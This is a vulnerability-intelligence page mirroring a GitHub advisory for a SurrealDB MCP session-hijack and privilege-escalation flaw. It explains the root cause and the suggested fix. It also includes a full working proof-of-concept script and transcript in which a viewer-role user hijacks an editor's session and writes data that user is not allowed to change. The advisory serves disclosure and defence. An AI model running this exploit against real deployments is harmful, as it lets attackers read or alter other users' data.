llamaCVEVulnerability Intelligence
/
Advisory · GitHub · crates.io · surrealdb

GHSA-PGH9-49Q4-HQCX

MCP session hijack / privilege escalation via BoundSubject fingerprint collision for JWT/Bearer access methods

Texto original en inglés · Ver en español

Parche disponible
Descargar PNG JSON
CVSS 3.1
8.1
Alta
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche a -25 d de la divulgación
Exposición32 dDesde la divulgación, 19 oct 2026, 3:51 a. m.
Detección32 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche 3.3.0
Monitoreo
Detectada +1
24 sept 26
19 oct 26
20 nov 26
21 nov 26
24 sept 26
8 oct 26
23 oct 26
6 nov 26
21 nov 26
FechaFaseEventoDetalle
Remediación Parche 3.3.0 surrealdb · -25 d desde divulgación
Divulgación Publicada GHSA-PGH9-49Q4-HQCX divulgada · CVSS 8.1 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

> affected: SurrealDB `>= 3.2.0` — MCP HTTP transport (`POST /mcp`)
> dynamically reproduced: official released `v3.2.0` binary and `master` `9d9a5b069` (v3.3.0-nightly), in-memory engine; 7/7 checks pass on both

---

_Source references (`file.rs:line`) are to commit `9d9a5b069` (v3.3.0-nightly)._

Summary

The MCP HTTP per-request subject re-check is ineffective for JWT/Bearer `DEFINE ACCESS` methods: the `BoundSubject` fingerprint is `(level, session.au.id())`, and for access-method authentication the actor id is set to the access method name (`verify.rs:403-407`), identical for every user of that method. Consequently, any authenticated user of an access method (even with the lowest role) who possesses a victim's `mcp-session-id` passes the re-check with their own valid token and executes MCP tools on the victim's bound session — with the victim's roles and permissions. This is a cross-user session takeover and privilege escalation. Reproduced end-to-end on a live server: viewer-role bob hijacked editor-role alice's MCP session and wrote `pwned: true` into a record that his own permissions forbid.

Details

SurrealDB's MCP module documents its own threat model (auth.rs:11-14): *"possession of an `mcp-session-id` alone must not let an attacker present a different credential and impersonate the original user."* The defense works as follows (all verified in source):

  1. At `initialize`, `BoundSubject::from_session` records a fingerprint of the authenticated session (auth.rs:50-55):
  2. On every later request, `check_subject` rejects a subject that is missing, anonymous, or different from the bound one (auth.rs:114-139), most importantly:
  3. For `DEFINE ACCESS ... TYPE JWT`/`BEARER`, `verify::token` builds the actor with the access method name as id (verify.rs:403-407; NS-level :639-642; root-level :790):
  4. Therefore two different users of the same access method — even with different `roles` — produce byte-identical fingerprints, the `new != *bound` branch never fires, and the request is allowed.
  5. MCP tools are executed on the session bound at handshake (`handler(self.session())`, service.rs:485-489); the request's credentials are used only for the fingerprint comparison.
  6. The path is reachable over the real HTTP transport: `POST /mcp` is mounted behind `SurrealAuthLayer` (ntw/mod.rs:185,501), which re-authenticates every request from its own `Authorization` header and injects the fresh session into request extensions (ntw/auth.rs:85-95). The HTTP factory forces the strict transport label `"http"` (service.rs:976-978), so the networked subject check is active (the stdio transport is exempt, which is correct).

The audit log makes the collision directly visible: every tool invocation on that method is logged with `subject="/ns:test/db:test/::api"` — the identity slot is the access method name `api` for all users.

PoC

> The tokens involved are legitimate JWTs signed with the exact HS512 secret declared in `DEFINE ACCESS`, verified by SurrealDB itself. The attacker supplies only their own valid token plus the victim's `mcp-session-id` — precisely the condition the defense claims to neutralize.

Scope note: reproduced on the official released `v3.2.0` binary and on a source build of `master` `9d9a5b069` (v3.3.0-nightly); the 7/7 checks pass on both. v2.x was not assessed (MCP HTTP is a v3.x feature).

Environment / configuration:

cargo build --release --locked --no-default-features --features storage-mem,http,mcp --bin surreal
./target/release/surreal start --user root --pass root memory --bind 127.0.0.1:8000

Schema (database-level JWT access serving multiple users):

DEFINE NAMESPACE test;
DEFINE DATABASE test;
USE NS test DB test;
DEFINE ACCESS api ON DATABASE TYPE JWT ALGORITHM HS512 KEY '<64+ byte secret>' DURATION FOR SESSION 1h;
DEFINE TABLE person PERMISSIONS FOR select FULL, FOR update WHERE $token.roles CONTAINS 'editor';
CREATE person:alice SET secret = 'admin-secret-value';
CREATE person:bob SET secret = 'viewer-record';

Issue two tokens with the same secret — identical shape, only `roles` differ: `{"NS":"test","DB":"test","AC":"api","roles":["editor"]}` (alice) and `{"NS":"test","DB":"test","AC":"api","roles":["viewer"]}` (bob).

Steps and expected outcomes:

# 0. Permission baseline (direct /sql, no MCP) — proves the two users are genuinely different:
#    alice  UPDATE person:alice SET pwned=true RETURN AFTER   -> returns record with pwned:true
#    bob    same query                                       -> returns [] (permission filtered)

# 1. alice initializes an MCP session:
POST /mcp  Authorization: Bearer <alice>
  {"jsonrpc":"2.0","id":1,"method":"initialize",...}
  -> 200, header mcp-session-id: <SID>

# 2. ATTACK: bob uses his OWN valid token with alice's session id:
POST /mcp  Authorization: Bearer <bob>   MCP-Session-Id: <SID>
  tools/call query "UPDATE person:alice SET pwned = true RETURN AFTER"
  -> SUCCESS: [{"id":"person:alice","pwned":true,...}]     # exploit works

# 3. Control 6a: bob on his OWN freshly-initialized session, same query:
  -> []                                                    # still denied -> bob has no such right

# 4. Control 6b: no credentials + alice's session id:
  -> {"error":{"code":-32602,"message":"Credentials required for this MCP session"}}
                                                           # check_subject's other branches work

Live transcript (2026-08-15, `poc_mcp_session_hijack.sh`, 7/7 checks pass):

===== 3. Permission baseline =====
  [PASS] alice(editor) can UPDATE (pwned=true)
  [PASS] bob(viewer) denied by table permission (empty result)
===== 4. alice initializes an MCP session =====
  [PASS] alice got mcp-session-id=3ab632c3-b8c3-48b9-ba20-2f5fc934c3ac
===== 5. ATTACK: bob (own valid token) + alice's session id =====
  [PASS] bob ESCALATED: UPDATE executed on alice's session (pwned=true)
===== 6. Control 6a: bob on his OWN session, same query =====
  [PASS] bob on his own session denied by table permission
===== 7. Control 6b: no credentials + alice's session id =====
  [PASS] no-credential request rejected by check_subject (-32602)
===== 8. Persistence check (root view) =====
  [PASS] person:alice.pwned == true persisted

Server audit log during the attack:

INFO surrealdb::mcp::audit: mcp tool invocation tool="query" subject="/ns:test/db:test/::api" ... outcome="ok"
INFO surrealdb::mcp::audit: mcp tool invocation tool="query" subject="/ns:test/db:test/::api" ... outcome="protocol_error" kind="INVALID_PARAMS"

The `::api` identity slot is identical for alice and bob — the fingerprint collision that defeats the re-check.

Note: the table permission is written against `$token.roles` rather than `$auth.roles` because under access-method authentication `$auth` (= `session.rd`) is always NONE; `$token` holds the JWT claims. (The HS512 `KEY` must be byte-identical between `DEFINE ACCESS` and the signing script.)

Impact
  • Type: authentication/authorization boundary bypass → cross-user MCP session takeover and privilege escalation (CWEs: CWE-287 improper authentication, CWE-269 privilege escalation).
  • Who is impacted: any deployment exposing MCP over HTTP (`POST /mcp`) that uses a database-, namespace- or root-level `TYPE JWT`/`BEARER` access method serving more than one user. Users authenticated via the user/password path are not affected (their actor id is a per-user name).
  • Attacker requirements (all within the documented threat model): (1) a valid token for the same access method — even the lowest role; (2) the victim's `mcp-session-id` (the exact leak this defense was built to neutralize, e.g. via HTTP logs, proxies, or shared observability).
  • Effect: the attacker runs MCP tools on the victim's bound session with the victim's roles and permissions — reading or modifying data the victim may access — and the activity is attributed in audits to the victim's session identity.

Suggested fix: in `verify::token`'s JWT/Bearer path, build the actor id from the token's per-user identity (`id`/`sub` claim), matching the user/password path (signin.rs:461, verify.rs:695-697), so users of the same access method get distinct actor ids and hence distinct `BoundSubject`s.

---

Reproduction script (self-contained)
#!/usr/bin/env bash
# SurrealDB MCP session-hijack / privilege-escalation PoC
#   Root cause: BoundSubject fingerprint collision for JWT/Bearer access methods.
#   Two users of the same access method produce identical (level, identity="<access-name>")
#   fingerprints, so check_subject cannot tell them apart and the attacker's own valid
#   token is accepted on the victim's bound MCP session.
#
# Prereqs: a `surreal` binary built with --features storage-mem,http,mcp.
# The script self-manages a fresh in-memory server, schema, and tokens.
# Usage: SURREAL_BIN=/path/to/surreal bash poc_mcp_session_hijack.sh
set -u

BASE="http://127.0.0.1:8000"
KEY="K3yP@ssK3yP@ssK3yP@ssK3yP@ssK3yP@ssK3yP@ssK3yP@ssK3yP@ssK3yP@ssK3yP@ssK3yP@ssK3yP@ss"
if [ -n "${SURREAL_BIN:-}" ]; then BIN="$SURREAL_BIN"
elif command -v surreal >/dev/null 2>&1; then BIN="$(command -v surreal)"
else BIN="$(dirname "$0")/surreal"; fi
LOG="$(mktemp)"
PASS=0; FAIL=0
ok(){  echo "  [PASS] $1"; PASS=$((PASS+1)); }
bad(){ echo "  [FAIL] $1"; FAIL=$((FAIL+1)); }

echo "===== 0. Prep: start a fresh in-memory server ====="
pkill -f 'surreal start' 2>/dev/null || true
sleep 1
"$BIN" start --user root --pass root memory --bind 127.0.0.1:8000 >"$LOG" 2>&1 &
SRV=$!
for i in $(seq 1 30); do curl -s -o /dev/null "$BASE/" && break; sleep 1; done
curl -s -o /dev/null "$BASE/" || { echo "server failed to start, log:"; tail -5 "$LOG"; exit 1; }

echo "===== 1. Initialize schema ====="
SCHEMA=$(cat <<EOF
DEFINE NAMESPACE test;
DEFINE DATABASE test;
USE NS test DB test;
DEFINE ACCESS api ON DATABASE TYPE JWT ALGORITHM HS512 KEY '$KEY' DURATION FOR SESSION 1h;
DEFINE TABLE person PERMISSIONS FOR select FULL, FOR update WHERE \$token.roles CONTAINS 'editor';
CREATE person:alice SET secret = 'admin-secret-value';
CREATE person:bob SET secret = 'viewer-record';
EOF
)
curl -s -u root:root -H "Surreal-NS: test" -H "Surreal-DB: test" \
  -X POST "$BASE/sql" --data-binary "$SCHEMA" >/dev/null

echo "===== 2. Mint two legitimate JWTs (same HS512 secret, different roles) ====="
eval "$(python3 - "$KEY" <<'PY'
import hmac, hashlib, base64, json, time, sys
KEY = sys.argv[1].encode()
def b64u(d): return base64.urlsafe_b64encode(d).rstrip(b'=').decode()
def jwt(roles):
    now = int(time.time())
    h = b64u(json.dumps({"alg":"HS512","typ":"JWT"},separators=(',',':')).encode())
    p = b64u(json.dumps({"NS":"test","DB":"test","AC":"api","roles":roles,"iat":now,"exp":now+3600},separators=(',',':')).encode())
    s = b64u(hmac.new(KEY, f"{h}.{p}".encode(), hashlib.sha512).digest())
    return f"{h}.{p}.{s}"
print("ALICE=" + jwt(["editor"])); print("BOB=" + jwt(["viewer"]))
PY
)"

echo "===== 3. Permission baseline (direct /sql, verified by SurrealDB) ====="
R_ALICE=$(curl -s -X POST "$BASE/sql" -H "Authorization: Bearer $ALICE" -H "Surreal-NS: test" -H "Surreal-DB: test" --data-binary 'UPDATE person:alice SET pwned = true RETURN AFTER')
R_BOB=$(curl -s -X POST "$BASE/sql" -H "Authorization: Bearer $BOB" -H "Surreal-NS: test" -H "Surreal-DB: test" --data-binary 'UPDATE person:alice SET pwned = true RETURN AFTER')
echo "$R_ALICE" | grep -q '"pwned":true' && ok "alice(editor) can UPDATE (pwned=true)" || bad "alice should be able to UPDATE"
echo "$R_BOB" | grep -q '"pwned":true' && bad "bob(viewer) must NOT be able to UPDATE" || ok "bob(viewer) denied by table permission (empty result)"

echo "===== 4. alice initializes an MCP session ====="
HDR=$(curl -s -D - -o /dev/null -X POST "$BASE/mcp" \
  -H "Authorization: Bearer $ALICE" -H "Content-Type: application/json" \
  -H "Accept: application/json, text/event-stream" \
  --data '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"poc","version":"1.0"}}}')
SID=$(echo "$HDR" | tr -d '\r' | awk -F': ' '/[Mm][Cc][Pp]-[Ss]ession-[Ii][Dd]/{print $2; exit}')
[ -n "$SID" ] && ok "alice got mcp-session-id=$SID" || { bad "handshake did not return a session id"; echo "$HDR"; exit 1; }

echo "===== 5. ATTACK: bob (own valid token) + alice's session id ====="
R=$(curl -s -X POST "$BASE/mcp" \
  -H "Authorization: Bearer $BOB" -H "MCP-Session-Id: $SID" -H "Content-Type: application/json" \
  -H "Accept: application/json, text/event-stream" \
  --data '{"jsonrpc":"2.0","id":3,"method":"tools/call","params":{"name":"query","arguments":{"query":"UPDATE person:alice SET pwned = true RETURN AFTER"}}}')
echo "$R" | grep -q '"pwned":true' && ok "bob ESCALATED: UPDATE executed on alice's session (pwned=true)" || bad "bob escalation failed"

echo "===== 6. Control 6a: bob on his OWN freshly-initialized session, same query ====="
HDR_B=$(curl -s -D - -o /dev/null -X POST "$BASE/mcp" \
  -H "Authorization: Bearer $BOB" -H "Content-Type: application/json" \
  -H "Accept: application/json, text/event-stream" \
  --data '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"poc","version":"1.0"}}}')
SID_B=$(echo "$HDR_B" | tr -d '\r' | awk -F': ' '/[Mm][Cc][Pp]-[Ss]ession-[Ii][Dd]/{print $2; exit}')
R_B=$(curl -s -X POST "$BASE/mcp" \
  -H "Authorization: Bearer $BOB" -H "MCP-Session-Id: $SID_B" -H "Content-Type: application/json" \
  -H "Accept: application/json, text/event-stream" \
  --data '{"jsonrpc":"2.0","id":4,"method":"tools/call","params":{"name":"query","arguments":{"query":"UPDATE person:alice SET pwned = true RETURN AFTER"}}}')
echo "$R_B" | grep -q '"pwned":true' && bad "bob on his own session must NOT be able to UPDATE" || ok "bob on his own session denied by table permission"

echo "===== 7. Control 6b: no credentials + alice's session id ====="
R_N=$(curl -s -X POST "$BASE/mcp" \
  -H "MCP-Session-Id: $SID" -H "Content-Type: application/json" \
  -H "Accept: application/json, text/event-stream" \
  --data '{"jsonrpc":"2.0","id":5,"method":"tools/call","params":{"name":"query","arguments":{"query":"RETURN 1"}}}')
echo "$R_N" | grep -q 'Credentials required' && ok "no-credential request rejected by check_subject (-32602)" || bad "no-credential request should be rejected"

echo "===== 8. Persistence check (root view) ====="
R_ROOT=$(curl -s -u root:root -H "Surreal-NS: test" -H "Surreal-DB: test" -X POST "$BASE/sql" --data-binary 'SELECT * FROM person:alice')
echo "$R_ROOT" | grep -q '"pwned":true' && ok "person:alice.pwned == true persisted" || bad "pwned was not persisted"

echo
echo "===== Result: PASS=$PASS  FAIL=$FAIL ====="
echo "Server audit log shows subject=/ns:test/db:test/::api for every tool call on this method"
echo "(identity slot = access-method name for all users: the fingerprint collision)."
[ -n "${SRV:-}" ] && kill "$SRV" 2>/dev/null || true

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:H
AltoBajoNinguno
DisponibilidadA:N
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
8.3/ 10Alto
Vector 8.3 (muy fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida Última
surrealdb≥ 3.1.0 < 3.3.0
3.1.0
3.3.0
4.0.1
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
crates.iosurrealdb
Corregida 3.3.0 -25 d 4.0.1 no afectada
Versiones corregidas3.3.0
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/surrealdb/surrealdb/security/advisories/GHSA-pgh9-49q4-hqcx

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.